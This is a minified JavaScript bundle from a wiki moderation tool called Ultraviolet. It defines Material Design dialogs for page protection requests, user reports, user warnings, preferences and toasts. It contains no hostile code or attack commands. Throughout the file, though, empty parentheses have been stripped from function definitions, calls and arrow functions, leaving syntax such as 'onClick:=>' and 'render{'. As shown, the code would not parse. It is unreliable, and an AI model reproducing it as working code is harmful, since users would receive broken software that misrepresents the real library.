0!==e?e:"70vw"};height:${null!==(t=this.props.height)&&void 0!==t?t:"90vh"};`,"aria-modal":!0,"aria-labelledby":null!==(n=this.props.title)&&void 0!==n?n:"Ultraviolet dialog"},id:this.id},this.props.title&&(0,r.h)(l.MaterialDialogTitle,null,this.props.title),(0,r.h)(l.MaterialDialogContent,null,a=(0,r.h)("iframe",{src:this.props.fragment?(0,u.url)(this.props.src,void 0,{fragment:this.props.fragment}):this.props.src})),(0,r.h)(l.MaterialDialogActions,null,this.props.actions&&this.props.actions.length>0?this.renderActions:[(0,r.h)(s.default,{onClick:=>{var e,t,n;navigator.clipboard.writeText(null!==(n=null===(t=null===(e=a.contentDocument)||void 0===e?void 0:e.location)||void 0===t?void 0:t.href)&&void 0!==n?n:a.src).then((=>{p.default.Toast.quickShow({content:c.default.t("ui:copyURL.success")})})).catch((=>{p.default.Toast.quickShow({content:c.default.t("ui:copyURL.failure")})}))},style:{float:"left",marginRight:"auto"}},c.default.t("ui:copyURL.button")),(0,r.h)(s.default,{dialogAction:"close"},c.default.t("ui:close"))]));const h=null!==(o=this.props.dependencies)&&void 0!==o?o:[];this.props.customStyle&&(Array.isArray(this.props.customStyle)?h.push({type:"style",id:"uv-iframe-dialog-customStyle",src:`data:text/css;base64,${btoa(this.props.customStyle.reduce(((e,t)=>`${e}\n\n${t}`)))}`}):h.push({type:"style",id:"uv-iframe-dialog-customStyle",src:`data:text/css;base64,${btoa(this.props.customStyle)}`})),this.props.customScripts&&(Array.isArray(this.props.customScripts)?h.push({type:"script",id:"uv-iframe-dialog-customScript",src:`data:text/javascript;base64,${btoa(this.props.customScripts.reduce(((e,t)=>`${e}\n\n${t}`)))}`}):h.push({type:"script",id:"uv-iframe-dialog-customScript",src:`data:text/javascript;base64,${btoa(this.props.customScripts)}`}));const f==>{var e;if(!document.body.contains(this.element))return;const t=a.contentDocument||(null===(e=a.contentWindow)||void 0===e?void 0:e.document);if(t&&"about:blank"!==t.location.toString){const e==>(0,i.__awaiter)(this,void 0,void 0,(function*{var t;const n=a.contentDocument||(null===(t=a.contentWindow)||void 0===t?void 0:t.document);if(n.head)for(const e of h){const t=yield d.default.buildDependency(e);let i;null==(i=n.getElementById(t.id))?n.head.append(t):i.parentElement.replaceChild(t,i)}else setTimeout((=>{e}),2)})),t==>{var e;const n=a.contentDocument||(null===(e=a.contentWindow)||void 0===e?void 0:e.document);n.body?this.props.disableUltraviolet&&n.body.classList.add("uv-disable"):setTimeout((=>{t}),2)};return e,void t}setTimeout((=>{f}),2)};return setTimeout((=>{f}),25),this.element}}t.default=h},9507:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(1261)),o=n(830),a=n(6884),s=n(1566),l=(0,i.__importDefault)(n(6359)),c=(0,i.__importStar)(n(604)),d=(0,i.__importStar)(n(8963));class u extends a.UVUIInputDialog{show{return(0,s.upgradeMaterialDialog)(this,{onPostInit:=>(0,i.__awaiter)(this,void 0,void 0,(function*{this.MDCComponents=(0,d.MaterialTextInputUpgrade)(this.textFieldElement)})),onClose:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{return"confirm"===e.detail.action?this.MDCComponents.textField.value:"cancel"===e.detail.action?null:void 0}))}).then((e=>e.wait))}renderActions{var e,t,n,i,a;return(0,o.h)(c.MaterialDialogActions,null,(0,o.h)(l.default,{dialogAction:"cancel"},null!==(t=null===(e=this.props.actions)||void 0===e?void 0:e.cancel)&&void 0!==t?t:r.default.t("ui:cancel")),(0,o.h)(l.default,{dialogAction:"confirm",raised:null!==(n=this.props.progressive)&&void 0!==n&&n},null!==(a=null===(i=this.props.actions)||void 0===i?void 0:i.ok)&&void 0!==a?a:r.default.t("ui:ok")))}render{var e;return this.textFieldElement=(0,o.h)(d.default,Object.assign({id:this.id},this.props)),this.element=(0,o.h)(c.default,{surfaceProperties:{"aria-modal":!0,"aria-labelledby":null!==(e=this.props.title)&&void 0!==e?e:"Ultraviolet dialog","max-width":"unset"},id:this.id},this.props.title&&(0,o.h)(c.MaterialDialogTitle,null,this.props.title),(0,o.h)(c.MaterialDialogContent,{style:{width:"100%"}},this.textFieldElement),this.renderActions),this.element}}t.default=u},5245:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(6626),o=n(830),a=(0,i.__importDefault)(n(4250)),s=(0,i.__importDefault)(n(323)),l=(0,i.__importDefault)(n(1261));n(5952);const c=n(9052);class d extends r.UVUIPageIcons{renderIcons{const e=[];return(0,a.default).forEach((t=>{var n,i,r,a,d;((null!==(r=null===(i=null===(n=c.Configuration.UI.pageIcons.value)||void 0===n?void 0:n[t.id])||void 0===i?void 0:i.enabled)&&void 0!==r?r:t.default)&&t.visible||t.required)&&e.push((0,o.h)(s.default,{class:"uv-mdc-pageIcons-icon",icon:t.icon,iconColor:null!==(a=t.color)&&void 0!==a?a:"black",tooltip:`${null!==(d=t.name)&&void 0!==d?d:l.default.t(`ui:pageIcons.${t.id}`)}`,onClick:t.action}))})),e}render{return this.self=(0,o.h)("div",null,this.renderIcons)}}t.default=d,d.elementName="uvPageIcons"},3215:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(9052),o=n(217),a=n(830),s=(0,i.__importDefault)(n(2526)),l=(0,i.__importDefault)(n(3169));n(7067);const c=(0,i.__importDefault)(n(5504)),d=(0,i.__importDefault)(n(6359)),u=(0,i.__importDefault)(n(9158)),p=(0,i.__importDefault)(n(1261));class h extends o.UVUIPreferences{constructor{super(...arguments),this.unsavedPreferences=[]}onChange(e){c.default.trace("MaterialPreferences onChange called",{setting:e});const t=this.unsavedPreferences.findIndex((t=>t.id===e.id));-1!==t&&this.unsavedPreferences.splice(t,1),this.unsavedPreferences.push(e)}save{return(0,i.__awaiter)(this,void 0,void 0,(function*{c.default.info("MaterialPreferences saving",{unsavedPreferences:this.unsavedPreferences}),this.unsavedPreferences.forEach((e=>{c.default.debug("MaterialPreferences looking for setting",{setting:e});const t=Object.values(r.Configuration.configurationSets).find((t=>null!=Object.values(t).find((t=>t.id===e.id))));if(t){c.default.debug("MaterialPreferences config set found",{configurationSet:t});const n=t[e.id];if(!n)throw"Setting not found in configuration";n.value=e.value}})),this.unsavedPreferences=[],c.default.debug("MaterialPreferences set config items"),yield r.Configuration.save,c.default.info("MaterialPreference saved"),u.default.Toast.quickShow({content:p.default.t("ui:toasts.prefsSaved")})}))}render{let e=Object.entries(r.Configuration.configurationSets).map((([e,t])=>[e,Object.entries(t).map((([,e])=>e)).filter((e=>null!=e.displayInfo))]));e=e.filter((([,e])=>e.length>0)),this.props.excludeTabs&&(e=e.filter((([e])=>!this.props.excludeTabs.includes(e))));const t=e.map((([e,t],n)=>new l.default({active:0===n,title:e,items:t,onChange:this.onChange.bind(this)})));return this.element=(0,a.h)("div",{id:"uvPreferences"},(0,a.h)(s.default,{activeTabIndex:0,onActivate:e=>t.forEach(((t,n)=>n===e.detail.index?t.activate:t.deactivate))},t.map((e=>e.renderTabBarItem))),(0,a.h)("div",{class:"uv-preferences-content"},t.map((e=>e.render))),(0,a.h)("hr",null),(0,a.h)("div",{class:"uv-preferences-save"},(0,a.h)(d.default,{raised:!0,dialogAction:"save",onClick:=>this.save},"Save")))}}t.default=h},1385:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(7353),o=n(2148),a=n(830),s=(0,i.__importDefault)(n(4549)),l=(0,i.__importDefault)(n(4140)),c=(0,i.__importDefault)(n(8963)),d=(0,i.__importDefault)(n(3848)),u=(0,i.__importDefault)(n(5193)),p=(0,i.__importDefault)(n(5504)),h=n(9376),f=(0,i.__importDefault)(n(5569)),g=(0,i.__importDefault)(n(1261)),m=n(8910);class v extends o.UVUIPreferencesItem{handleInputChange(e){this.result=e,this.props.onChange&&this.props.onChange(e)}renderInputElement{var e;switch(this.props.setting.displayInfo.uiInputType){case r.UIInputType.Switch:this.input=Array.from((0,a.h)(u.default,{default:this.props.setting.value,onChange:e=>this.handleInputChange(e)}).children);break;case r.UIInputType.Checkbox:const e=(0,m.generateId);this.input=[(0,a.h)(f.default,{id:e,default:this.props.setting.value,onChange:e=>this.handleInputChange(e)}),(0,a.h)("label",{htmlFor:e},g.default.t("ui:toggleCheckbox"))];break;case r.UIInputType.Checkboxes:break;case r.UIInputType.Radio:this.input=(0,a.h)(s.default,{radios:this.props.setting.displayInfo.validOptions.map((e=>{var t;return{value:e.value,children:(0,a.h)("span",null,null!==(t=e.name)&&void 0!==t?t:e.value),checked:e.value===this.props.setting.value}})),direction:"vertical",onChange:e=>this.handleInputChange(e)});break;case r.UIInputType.Dropdown:this.input=(0,a.h)(l.default,{items:this.props.setting.displayInfo.validOptions.map((e=>({type:"action",label:e.name,value:e,selected:e.value===this.props.setting.value}))),label:this.props.setting.displayInfo.title,onChange:e=>this.handleInputChange(e)});break;case r.UIInputType.Textbox:this.input=(0,a.h)(c.default,{label:this.props.setting.displayInfo.title,defaultText:`${this.props.setting.value}`,onInput:e=>this.handleInputChange(e)});break;case r.UIInputType.Number:this.input=(0,a.h)(c.default,{type:"number",label:this.props.setting.displayInfo.title,defaultText:`${this.props.setting.value}`,onInput:e=>this.handleInputChange(e)});break;case r.UIInputType.ColorPicker:break;case r.UIInputType.Style:case r.UIInputType.Theme:this.input=(0,a.h)(l.default,{items:d.default.styles.map((e=>({type:"action",label:(0,h.getStyleMeta)(e).displayName,value:e.name,selected:e.name===this.props.setting.value}))),label:this.props.setting.displayInfo.title,onChange:e=>this.handleInputChange(d.default.styles[e].name)});case r.UIInputType.RevertOptions:case r.UIInputType.PageIcons:}return this.input=null!==(e=this.input)&&void 0!==e?e:(0,a.h)("span",{style:"font-weight: bold"},"This setting is currently unsupported.")}render{return p.default.trace("Rendering MaterialPreferencesItem",{props:this.props}),this.renderInputElement,this.element=(0,a.h)("div",{class:"uv-mdc-preference"},(0,a.h)("h2",null,this.props.setting.displayInfo.title),(0,a.h)("p",null,this.props.setting.displayInfo.description),(0,a.h)("div",{class:"mdc-form-field"},this.input))}}t.default=v},3169:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(227),o=n(830),a=(0,i.__importStar)(n(6101)),s=(0,i.__importDefault)(n(5337)),l=(0,i.__importDefault)(n(1385));class c extends r.UVUIPreferencesTab{renderTabBarItem{return this.tabBarElement=(0,o.h)(a.default,{title:this.props.title,active:this.props.active}),this.tabBarItemComponent=(0,a.getMaterialTabBarItemComponent)(this.tabBarElement),this.tabBarElement}render{const e=this.props.items.filter((e=>null!=e.displayInfo)).flatMap((e=>[new l.default({name:e.displayInfo.title,setting:e,onChange:t=>this.props.onChange({id:e.id,value:t})}).render]));return this.element=(0,o.h)("div",{class:(0,s.default)("uv-preferences-tab",this.props.active?"uv-preferences-tab--active":"uv-preferences-tab--inactive")},e)}activate{var e;null===(e=this.tabBarItemComponent)||void 0===e||e.activate,this.element.classList.remove("uv-preferences-tab--inactive"),this.element.classList.add("uv-preferences-tab--active")}deactivate{var e;null===(e=this.tabBarItemComponent)||void 0===e||e.deactivate,this.element.classList.remove("uv-preferences-tab--active"),this.element.classList.add("uv-preferences-tab--inactive")}}t.default=c},8875:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(3384),o=n(7688),a=n(1566),s=(0,i.__importDefault)(n(7007)),l=(0,i.__importStar)(n(604)),c=n(830),d=(0,i.__importDefault)(n(1261)),u=(0,i.__importDefault)(n(6359)),p=(0,i.__importDefault)(n(4236)),h=(0,i.__importDefault)(n(4549));n(4509);const f=(0,i.__importDefault)(n(8939)),g=n(8910),m=(0,i.__importDefault)(n(6807)),v=(0,i.__importStar)(n(8963)),A=(0,i.__importDefault)(n(4140)),y=(0,i.__importDefault)(n(3284)),_=(0,i.__importDefault)(n(4913));class b extends r.UVUIProtectionRequestDialog{constructor{super(...arguments),this.page=s.default.currentPage,this.elementSet={}}set protectionReasons(e){if(this._protectionReasons=e,this.elementSet.reason){const e=this.renderReasonDropdown;this.elementSet.reason.parentElement.replaceChild(e,this.elementSet.reason),this.elementSet.reason=e}this.uiValidate}get protectionInformation{return this._protectionInformation}set protectionInformation(e){var t;if(null==e&&this.elementSet.duration?this.elementSet.duration.disable:this.elementSet.duration&&this.elementSet.duration.enable,null==e&&null!=this.elementSet.levels)this.elementSet.levels.disable;else if(null!=this.elementSet.levels)if(this.elementSet.levels.enable,(null!==(t=null==e?void 0:e.length)&&void 0!==t?t:0)>0){for(const t of e)if("edit"===t.type&&null==t.source||"_flaggedrevs"===t.type){for(const e of this.elementSet.levels.MDCRadios)e.radioValue.id===t.level&&(e.MDCRadio.checked=!0,this._level=e.radioValue);for(const e of this.elementSet.duration.MDCRadios)"infinity"===t.expiry==e.radioValue?(e.MDCRadio.checked=!0,e.MDCRadio.disabled=!0):e.MDCRadio.disabled=!1}}else{for(const e of this.elementSet.levels.MDCRadios)null===e.radioValue.id&&(e.MDCRadio.checked=!0);this.elementSet.duration.reset,this.elementSet.duration.disable}this._protectionInformation=e}get level{return this._level}get reason{var e;return null===(e=this.elementSet.reason)||void 0===e?void 0:e.valueSet[this.elementSet.reason.MDCSelect.value]}get duration{return this._duration}get additionalInformation{var e,t,n;return null===(n=null===(t=null===(e=this.elementSet.additionalInformation)||void 0===e?void 0:e.components)||void 0===t?void 0:t.textField)||void 0===n?void 0:n.value}get validationChecks{return[{id:"noLevel",test:=>null!=this.level},{id:"noDuration",test:=>this.level&&(null==this.level.id||null!=this.duration)},{id:"levelEqual",test:=>null!=this.level&&(this.level.id?null==this.protectionInformation.find((e=>"edit"===e.type&&null==e.source&&e.level===this.level.id&&this.duration===("infinity"===e.expiry?o.ProtectionDuration.Indefinite:o.ProtectionDuration.Temporary)||"_flaggedrevs"===e.type&&e.level===this.level.id&&this.duration===("infinity"===e.expiry?o.ProtectionDuration.Indefinite:o.ProtectionDuration.Temporary))):null!=this.protectionInformation.find((e=>"edit"===e.type&&null==e.source||"_flaggedrevs"===e.type)))},{id:"noReason",test:=>null!=this.reason},{id:"noAdditionalReason",test:=>null!=this.reason&&(this.reason.length>0||0===this.reason.length&&0!==this.additionalInformation.length)}]}show{return(0,a.upgradeMaterialDialog)(this,{onClose:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{return"confirm"===e.detail.action?{page:this.page,level:this.level,reason:this.reason,additionalInformation:this.additionalInformation,duration:this.duration}:null}))}).then((e=>e.wait))}renderLevels{var e;const t=[];for(const n of[Object.assign(f.default.c.protection.unprotect,{id:null}),...f.default.c.protection.levels])!1!==n.requestable&&t.push({children:(0,c.h)("div",{style:(0,p.default)({display:"inline-block"}),class:"uv-mdc-prd-protectionLevel"},n.iconURL?(0,c.h)("img",{alt:n.name,src:n.iconURL}):(0,c.h)("span",{class:"material-icons",style:(0,p.default)({color:null!==(e=n.color)&&void 0!==e?e:"black"})},null===n.id?"lock_open":"lock"),(0,c.h)("span",{class:"uv-mdc-protectionLevels--name"},(0,g.capitalize)(n.name))),value:n});return(0,c.h)(h.default,{radios:t,direction:"vertical",disabled:!0,onChange:e=>{if(this._level=e,null!==e.id){this.elementSet.duration.enable;for(const t of this.protectionInformation)if(("edit"===t.type&&null==t.source||"_flaggedrevs"===t.type)&&e.id===t.level)for(const e of this.elementSet.duration.MDCRadios)"infinity"===t.expiry==e.radioValue&&(e.MDCRadio.checked=!0,e.MDCRadio.disabled=!0)}else this.elementSet.duration.reset,this.elementSet.duration.disable;this.uiValidate}})}renderReasonDropdown{const e=[];if(e.push({label:d.default.t("ui:protectionRequest.reasons.other"),value:"",type:"action"}),this._protectionReasons)for(const[t,n]of Object.entries(this._protectionReasons)){e.push({type:"header",label:t});for(const t of n)e.push({label:t,value:t,type:"action"})}const t=(0,c.h)(A.default,{label:d.default.t("ui:protectionRequest.reasons.label"),items:e,required:!0,onChange:(e,t)=>{var n,i;const r=null===(i=null===(n=this.elementSet.additionalInformation)||void 0===n?void 0:n.components)||void 0===i?void 0:i.textField;r&&(r.required=0===t.length),this.uiValidate}});return t.MDCSelect.disabled=null==this._protectionReasons,t}renderAdditionalInfo{const e=(0,c.h)(v.default,{label:d.default.t("ui:protectionRequest.additionalInformation"),area:!0,outlined:!0}),t=(0,v.MaterialTextInputUpgrade)(e);return this.elementSet.additionalInformation={element:e,components:t},t.textField.listen("keydown",(=>{this.uiValidate})),t.textField.listen("focusout",(=>{this.uiValidate})),e}renderDuration{const e=[{value:!1,children:(0,c.h)(y.default,{icon:"timer"}),tooltip:d.default.t("ui:protectionRequest.duration.temporary")},{value:!0,children:(0,c.h)(y.default,{icon:"all_inclusive"}),tooltip:d.default.t("ui:protectionRequest.duration.indefinite")}];return(0,c.h)(h.default,{class:"uv-mdc-prd-duration",radios:e,onChange:e=>{this._duration=null==e?null:e?o.ProtectionDuration.Indefinite:o.ProtectionDuration.Temporary,this.uiValidate}})}render{var e,t;return this.element=(0,c.h)(l.default,{surfaceProperties:{class:"uv-mdc-protectionRequestDialog mdc-dialog__surface","aria-modal":!0,"aria-labelledby":null!==(e=this.props.title)&&void 0!==e?e:d.default.t("ui:protectionRequest.title")},id:this.id},(0,c.h)(l.MaterialDialogTitle,{tabIndex:0},(0,c.h)("span",{style:{float:"left"}},null!==(t=this.props.title)&&void 0!==t?t:d.default.t("ui:protectionRequest.title"))),(0,c.h)(l.MaterialDialogContent,{style:(0,p.default)({overflowY:"auto",overflowX:"hidden"})},this.elementSet.titleSelect=(0,c.h)(m.default,{label:d.default.t("ui:protectionRequest.page.label"),value:s.default.currentPage.title.getPrefixedText,parent:this}),(0,c.h)("div",{class:"uv-mdc-prd-options"},(0,c.h)("div",{class:"uv-mdc-prd-reason"},this.elementSet.reason=this.renderReasonDropdown),(0,c.h)("div",{class:"uv-mdc-prd-levels"},this.elementSet.levels=this.renderLevels),(0,c.h)("div",{class:"uv-mdc-prd-info"},this.renderAdditionalInfo,(0,c.h)("div",null,(0,c.h)("span",{class:"uv-mdc-prd-duration--label"},"Duration"),this.elementSet.duration=this.renderDuration,(0,c.h)("p",{class:"uv-mdc-prd-notice"},d.default.t("ui:protectionRequest.notice")))))),(0,c.h)(l.MaterialDialogActions,null,this.elementSet.validation=(0,c.h)(_.default,{validators:this.validationChecks,languageKey:"ui:protectionRequest.validation.fail",detailedLanguageKey:"ui:protectionRequest.validation.failDetailed"}),(0,c.h)(u.default,{dialogAction:"cancel"},d.default.t("ui:cancel")),this.elementSet.dialogConfirmButton=(0,c.h)(u.default,{dialogAction:"confirm",disabled:!0},d.default.t("ui:protectionRequest.ok")))),this.element}uiValidate{const e=this.elementSet.validation.validator.update;this.elementSet.dialogConfirmButton.toggleAttribute("disabled",!0!==e)}}t.default=b},8804:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(1261)),o=n(830),a=n(1566),s=(0,i.__importDefault)(n(6359)),l=(0,i.__importStar)(n(604)),c=n(2233),d=(0,i.__importDefault)(n(4236)),u=(0,i.__importDefault)(n(8819)),p=n(8686),h=n(4802),f=(0,i.__importDefault)(n(9735));n(1);const g=(0,i.__importDefault)(n(4913)),m=(0,i.__importDefault)(n(7007)),v=(0,i.__importDefault)(n(5337)),A=(0,i.__importDefault)(n(5504)),y=(0,i.__importDefault)(n(5527)),_=n(4534),b=(0,i.__importDefault)(n(5569));class I extends c.UVUIReportingDialog{constructor(e){var t;super(e),this.target=null,this.reason=null,this.comments=null,this.subject=null,this.confirmed=!1,this.target=null!==(t=e.target)&&void 0!==t?t:(0,p.isUserModeReportVenue)(this.venue)?h.User.relevantUser:m.default.currentPage,this.props.title||(this.props.title=r.default.t("ui:reporting.title",{venue:e.venue.name}))}get venue{return this.props.venue}get validationChecks{return[{id:"target",test:=>null!=this.target},{id:"targetMissing",test:=>!this.mrdTarget||this.mrdTarget instanceof _.MDCTextField||this.mrdTarget.valid},{id:"self",test:=>!(0,p.isUserModeReportVenue)(this.props.venue)||this.target instanceof h.User&&this.target.username!==h.UserAccount.current.username},{id:"exists",test:=>!(this.target&&(0,p.isPageReportVenue)(this.props.venue)&&null!=this.props.venue.existCheck&&this.props.venue.page.latestCachedRevision&&null!=this.props.venue.page.latestCachedRevision.content&&new RegExp(this.props.venue.existCheck.source.replace(/\\k /g,(this.target instanceof h.User?this.target.username:this.target.title.getPrefixedText).replace(/[_ ]/g,"[_ ]")),this.props.venue.existCheck.flags).test(this.props.venue.page.latestCachedRevision.content))},{id:"reason",test:=>!(0,p.isPageReportVenue)(this.props.venue)||null!=this.reason&&this.reason.length>0||null!=this.comments&&this.comments.length>0},{id:"short",test:=>!(0,p.isEmailReportVenue)(this.props.venue)||null!=this.comments&&this.comments.replace(/([a-z])\1{2,}/gi,"").length>30},{id:"unmodified",test:=>{if(!(0,p.isEmailReportVenue)(this.venue)||!this.venue.prefill)return!0;const e=/<.+?>/g,t=[];let n=null;for(null!=(n=e.exec(this.venue.prefill));)t.push(n[0]);return A.default.debug("info",t),0===t.length||t.every((e=>!this.comments.includes(e)))}},{id:"confirmed",test:=>!(0,p.isEmailReportVenue)(this.venue)||this.confirmed}]}show{return(0,a.upgradeMaterialDialog)(this,{onPostInit:=>{(0,p.isPageReportVenue)(this.props.venue)?this.props.venue.page.getLatestRevision.then((=>{this.uiValidate})):this.uiValidate},onClose:e=>"confirm"===e.detail.action?{target:this.target,reason:this.reason,comments:this.comments,venue:this.props.venue,subject:this.subject}:"cancel"===e.detail.action?null:void 0}).then((e=>e.wait))}renderTarget{return(0,p.isPageReportVenue)(this.venue)?(0,p.isUserModeReportVenue)(this.props.venue)?this.mrdTarget=(0,o.h)(u.default,{reportingDialog:this,originalTarget:this.target}):this.mrdTarget=(0,o.h)(y.default,{reportingDialog:this,originalTarget:this.target}):null}renderInfo{return this.mrdInfo=(0,o.h)(f.default,{reportingDialog:this})}renderConfirmation{return(0,o.h)("div",{class:"mdc-form-field"},(0,o.h)(b.default,{onChange:e=>{this.confirmed=e,this.uiValidate}}),(0,o.h)("span",null,r.default.t("ui:reporting.email.confirm")," ",this.venue.policyPage&&(0,o.h)("span",null,"(",(0,o.h)("a",{href:h.Page.fromTitle(this.venue.policyPage).url},r.default.t("ui:reporting.email.policyLink")),")")))}render{return this.element=(0,o.h)(l.default,{id:this.id,surfaceProperties:{class:(0,v.default)(["uv-mdc-reportingDialog","uv-mdc-reportingDialog__"+((0,p.isEmailReportVenue)(this.venue)?"email":"user")]),style:(0,d.default)({minWidth:"700px"})}},this.props.title&&(0,o.h)(l.MaterialDialogTitle,null,this.props.title),(0,o.h)(l.MaterialDialogContent,{style:(0,d.default)({width:"100%"})},this.venue.notice&&(0,o.h)("span",{class:"uv-mdc-reportingDialog--notice"},this.venue.notice),(0,p.isEmailReportVenue)(this.venue)&&(0,o.h)("p",null,r.default.t("ui:reporting.email.notice")),this.renderTarget,this.renderInfo,this.renderConfirmation),(0,o.h)(l.MaterialDialogActions,null,this.mrdValidator=(0,o.h)(g.default,{validators:this.validationChecks,languageKey:"ui:reporting.validation.fail",detailedLanguageKey:"ui:reporting.validation.failDetailed"}),(0,o.h)(s.default,{dialogAction:"cancel"},r.default.t("ui:cancel")),this.mrdConfirm=(0,o.h)(s.default,{dialogAction:"confirm",raised:!0},r.default.t("ui:reporting.ok")))),this.element}uiValidate{if(this.mrdValidator){const e=this.mrdValidator.validator.update;this.mrdConfirm.toggleAttribute("disabled",!0!==e)}}}t.default=I},80:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(5132),a=n(1566),s=(0,i.__importDefault)(n(6359)),l=(0,i.__importStar)(n(604));class c extends o.UVUISelectionDialog{show{return(0,a.upgradeMaterialDialog)(this,{onPostInit:e=>{e.autoStackButtons=!1},onClose:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{var t;const n=this.props.items.find((t=>{var n;return t.data===(null===(n=e.detail)||void 0===n?void 0:n.action)})).action;return null!=n&&null!==(t=yield n(e))&&void 0!==t?t:e.detail.action}))}).then((e=>e.wait))}render{var e,t;const n=this.props.items.flatMap((e=>[(0,r.h)(s.default,{dialogAction:e.data,icon:e.icon,iconColor:e.iconColor,style:{width:"100%",textAlign:"left",display:"inline-block"},contentStyle:Object.assign(Object.assign({},e.content.length>40&&{fontSize:"12px"}),{marginLeft:"10px"})},e.content),(0,r.h)("hr",{style:{margin:"0"}})]));return this.element=(0,r.h)(l.default,{surfaceProperties:{style:{width:null!==(e=this.props.width)&&void 0!==e?e:"30vw",height:"60vh"},"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"Ultraviolet dialog"},id:this.id},(0,r.h)(l.MaterialDialogTitle,null,(0,r.h)("span",{style:{float:"left"}},this.props.title),(0,r.h)(s.default,{dialogAction:"close",icon:"close",style:{right:"0",position:"absolute"}})),(0,r.h)(l.MaterialDialogContent,{style:{height:"400px",overflowY:"auto",overflowX:"hidden"}},(0,r.h)("hr",{style:{margin:"0"}}),...n)),this.element}}t.default=c},1483:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(2905),o=n(830),a=n(3259),s=n(351);class l extends r.UVUIToast{show{const e=(0,a.getMaterialStorage);return e.toastQueue.push(this),1===e.toastQueue.length&&e.toastQueue.shift._show,new Promise(((e,t)=>{this.showPromise={resolve:e,reject:t}}))}_show{var e;document.body.appendChild(this.render);const t=new s.MDCSnackbar(this.element);t.initialize,t.timeoutMs=null!==(e=this.props.timeout)&&void 0!==e?e:5e3,t.open,t.listen("MDCSnackbar:closed",(e=>(0,i.__awaiter)(this,void 0,void 0,(function*{"action"===e.detail.action&&this.props.action.callback;const t=(0,a.getMaterialStorage);t.toastQueue.length>=1&&t.toastQueue.shift._show,this.showPromise.resolve}))))}render{return this.element=(0,o.h)("div",{class:`mdc-snackbar${[""," mdc-snackbar--leading"," mdc-snackbar--stacked"][this.props.style]}`,id:this.id},(0,o.h)("div",{class:"mdc-snackbar__surface",role:"status","aria-relevant":"additions"},(0,o.h)("div",{class:"mdc-snackbar__label","aria-atomic":"false"},this.props.content),this.props.action&&(0,o.h)("div",{class:"mdc-snackbar__actions","aria-atomic":"true"},(0,o.h)("button",{type:"button",class:"mdc-button mdc-snackbar__action",onClick:this.props.action.callback},(0,o.h)("div",{class:"mdc-button__ripple"}),(0,o.h)("span",{class:"mdc-button__label"},this.props.action.text)))))}}t.default=l},974:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1261)),a=n(2137),s=n(1566),l=(0,i.__importDefault)(n(6359)),c=(0,i.__importStar)(n(604)),d=(0,i.__importDefault)(n(9770)),u=(0,i.__importDefault)(n(6821)),p=n(4802),h=n(8910),f=n(8428);n(9561);const g=(0,i.__importDefault)(n(8939)),m=n(6695),v=(0,i.__importDefault)(n(4236)),A=(0,i.__importDefault)(n(4913)),y=(0,i.__importDefault)(n(5673)),_=(0,i.__importDefault)(n(5504));class b extends a.UVUIWarnDialog{get helperText{var e,t;return null!==(t=null===(e=this._helperText)||void 0===e?void 0:e.innerText)&&void 0!==t?t:null}set helperText(e){this._helperText&&(this._helperText.innerText=e)}get helperTextColor{var e,t,n;return null!==(n=null===(t=null===(e=this._helperText)||void 0===e?void 0:e.style)||void 0===t?void 0:t.color)&&void 0!==n?n:"black"}set helperTextColor(e){this._helperText&&(this._helperText.style.color=e)}get validationChecks{return[{id:"self",test:=>{var e;return(null===(e=this.user)||void 0===e?void 0:e.username)!==p.ClientUser.i.username}},{id:"user",test:=>null!=this.user},{id:"template",test:=>{var e,t;return null!=(null===(t=null===(e=this.mwdReason)||void 0===e?void 0:e.MWDReason)||void 0===t?void 0:t.warning)}},{id:"level",test:=>{var e,t,n,i,r,o;return null!=(null===(t=null===(e=this.mwdReason)||void 0===e?void 0:e.MWDReason)||void 0===t?void 0:t.warning)&&(null===(i=null===(n=this.mwdReason)||void 0===n?void 0:n.MWDReason)||void 0===i?void 0:i.warning.type)!=p.WarningType.Tiered||null!=(null===(o=null===(r=this.mwdReason)||void 0===r?void 0:r.MWDReason)||void 0===o?void 0:o.warningLevel)}},{id:"required",test:=>{var e,t,n,i,r,o,a,s,l,c;return!("required"===(0,p.getWarningFieldVisibility)(null===(n=null===(t=null===(e=this.mwdReason)||void 0===e?void 0:e.MWDReason)||void 0===t?void 0:t.warning)||void 0===n?void 0:n.relatedPage)&&!(null===(r=null===(i=this.mwdReason)||void 0===i?void 0:i.MWDReason)||void 0===r?void 0:r.relatedPage)||"required"===(0,p.getWarningFieldVisibility)(null===(s=null===(a=null===(o=this.mwdReason)||void 0===o?void 0:o.MWDReason)||void 0===a?void 0:a.warning)||void 0===s?void 0:s.additionalText)&&!(null===(c=null===(l=this.mwdReason)||void 0===l?void 0:l.MWDReason)||void 0===c?void 0:c.additionalText))}}]}get warningWikitext{var e,t,n,i,r,o,a,s,l;return!(null===(n=null===(t=null===(e=this.mwdReason)||void 0===e?void 0:e.MWDReason)||void 0===t?void 0:t.warning)||void 0===n?void 0:n.template)||!(null===(r=null===(i=this.mwdReason)||void 0===i?void 0:i.MWDReason)||void 0===r?void 0:r.warningLevel)&&(null===(s=null===(a=null===(o=this.mwdReason)||void 0===o?void 0:o.MWDReason)||void 0===a?void 0:a.warning)||void 0===s?void 0:s.type)===p.WarningType.Tiered?null:`${new y.default(this.mwdReason.MWDReason.warning.template+(0,m.warningSuffix)(this.mwdReason.MWDReason.warningLevel),[(0,h.normalize)(this.mwdReason.MWDReason.relatedPage),this.mwdReason.MWDReason.additionalText]).build({subst:!0})} 